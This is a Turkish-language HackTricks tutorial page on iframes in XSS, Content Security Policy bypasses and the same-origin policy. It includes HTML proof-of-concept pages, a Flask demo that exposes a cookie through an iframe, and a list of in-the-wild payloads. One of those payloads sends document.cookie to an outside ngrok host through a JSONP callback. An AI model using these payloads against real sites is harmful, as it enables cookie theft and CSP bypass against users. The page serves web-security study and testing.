mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
165 lines
9.1 KiB
Markdown
165 lines
9.1 KiB
Markdown
# XSS'te Iframe'ler, CSP ve SOP
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||
|
||
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
|
||
|
||
</details>
|
||
|
||
## XSS'te Iframe'ler
|
||
|
||
Bir iframeli sayfanın içeriğini belirtmek için 3 yol vardır:
|
||
|
||
* `src` ile bir URL belirterek (URL, cross origin veya same origin olabilir)
|
||
* `src` ile `data:` protokolünü kullanarak içeriği belirterek
|
||
* İçeriği belirterek `srcdoc` kullanarak
|
||
|
||
**Ebeveyn ve Çocuk değişkenlere erişme**
|
||
```html
|
||
<html>
|
||
<script>
|
||
var secret = "31337s3cr37t";
|
||
</script>
|
||
|
||
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
|
||
<iframe id="if2" src="child.html"></iframe>
|
||
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
|
||
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
||
|
||
<script>
|
||
function access_children_vars(){
|
||
alert(if1.secret);
|
||
alert(if2.secret);
|
||
alert(if3.secret);
|
||
alert(if4.secret);
|
||
}
|
||
setTimeout(access_children_vars, 3000);
|
||
</script>
|
||
</html>
|
||
```
|
||
|
||
```html
|
||
<!-- content of child.html -->
|
||
<script>
|
||
var secret="child secret";
|
||
alert(parent.secret)
|
||
</script>
|
||
```
|
||
Eğer önceki html'e bir http sunucusu üzerinden erişirseniz (örneğin `python3 -m http.server`), tüm betiklerin çalıştığını fark edeceksiniz (çünkü bunu önleyen bir CSP yoktur). **Ana sayfa, herhangi bir iframe içindeki `secret` değişkenine erişemez** ve **yalnızca aynı site olarak kabul edilen if2 ve if3 iframe'leri orijinal penceredeki secret'e erişebilir**.\
|
||
if4'ün `null` kökenine sahip olduğuna dikkat edin.
|
||
|
||
### CSP ile İframe'ler <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||
|
||
{% hint style="info" %}
|
||
Lütfen, aşağıdaki bypasslarda iframeli sayfaya gelen yanıtta JS yürütmesini önleyen herhangi bir CSP başlığı olmadığını dikkate alın.
|
||
{% endhint %}
|
||
|
||
`script-src`'nin `self` değeri, JS kodunun `data:` protokolünü veya `srcdoc` özniteliğini kullanarak yürütülmesine izin vermez.\
|
||
Ancak, CSP'nin `none` değeri bile, `src` özniteliğine bir URL (tam veya sadece yol) koyan iframelerin yürütülmesine izin verecektir.\
|
||
Bu nedenle, bir sayfanın CSP'sini aşmak mümkündür:
|
||
```html
|
||
<html>
|
||
<head>
|
||
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
|
||
</head>
|
||
<script>
|
||
var secret = "31337s3cr37t";
|
||
</script>
|
||
<iframe id="if1" src="child.html"></iframe>
|
||
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
|
||
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
|
||
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
||
</html>
|
||
```
|
||
Önceki CSP'nin yalnızca içerideki betiğin yürütülmesine izin verdiğine dikkat edin.\
|
||
Ancak, yalnızca `if1` ve `if2` betikleri yürütülecek, ancak yalnızca `if1` üst öğeye erişebilecek.
|
||
|
||
![](<../../.gitbook/assets/image (627) (1) (1).png>)
|
||
|
||
Bu nedenle, bir JS dosyasını sunucuya yükleyebilir ve `script-src 'none'` ile bile iframe üzerinden yükleyebilirseniz, bir CSP'yi atlayabilirsiniz. Bu, aynı site JSONP uç noktasını kötüye kullanarak da potansiyel olarak yapılabilir.
|
||
|
||
Aşağıdaki senaryo ile `script-src 'none'` ile bile bir çerez çalınabilir. Uygulamayı çalıştırın ve tarayıcınızla erişin:
|
||
```python
|
||
import flask
|
||
from flask import Flask
|
||
app = Flask(__name__)
|
||
|
||
@app.route("/")
|
||
def index():
|
||
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
|
||
resp.headers['Content-Security-Policy'] = "script-src 'self'"
|
||
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
|
||
return resp
|
||
|
||
@app.route("/cookie_s.html")
|
||
def cookie_s():
|
||
return "<script>alert(document.cookie)</script>"
|
||
|
||
if __name__ == "__main__":
|
||
app.run()
|
||
```
|
||
### Vahşi Doğada Bulunan Diğer Yükler <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||
```html
|
||
<!-- This one requires the data: scheme to be allowed -->
|
||
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
|
||
<!-- This one injects JS in a jsonp endppoint -->
|
||
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
|
||
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
|
||
```
|
||
### Iframe sandbox
|
||
|
||
Iframe içindeki içerik, `sandbox` özelliği kullanılarak ek kısıtlamalara tabi tutulabilir. Varsayılan olarak, bu özellik uygulanmaz, yani hiçbir kısıtlama yoktur.
|
||
|
||
Kullanıldığında, `sandbox` özelliği birkaç kısıtlama getirir:
|
||
|
||
- İçerik, benzersiz bir kaynaktan geldiği gibi işlenir.
|
||
- Form gönderme girişimleri engellenir.
|
||
- Scriptlerin çalıştırılması yasaktır.
|
||
- Belirli API'lere erişim devre dışı bırakılır.
|
||
- Bağlantıların diğer gezinme bağlamlarıyla etkileşimini engeller.
|
||
- `<embed>`, `<object>`, `<applet>` veya benzer etiketler aracılığıyla eklentilerin kullanımına izin verilmez.
|
||
- İçeriğin kendisi tarafından içeriğin üst düzey gezinme bağlamının gezinmesi engellenir.
|
||
- Video oynatma veya form kontrollerinin otomatik odaklanması gibi otomatik olarak tetiklenen özellikler engellenir.
|
||
|
||
Özniteliğin değeri, tüm yukarıda belirtilen kısıtlamaların uygulanması için boş bırakılabilir (`sandbox=""`). Alternatif olarak, iframe'ı belirli kısıtlamalardan muaf tutan boşlukla ayrılmış bir değer listesi olarak ayarlanabilir.
|
||
```html
|
||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||
```
|
||
## SOP'da Iframe'ler
|
||
|
||
Aşağıdaki sayfalara bakın:
|
||
|
||
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
|
||
[bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %}
|
||
[bypassing-sop-with-iframes-2.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %}
|
||
[blocking-main-page-to-steal-postmessage.md](../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md)
|
||
{% endcontent-ref %}
|
||
|
||
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
|
||
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
|
||
{% endcontent-ref %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuz olan özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin.
|
||
* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) sahip olun.
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
|
||
|
||
</details>
|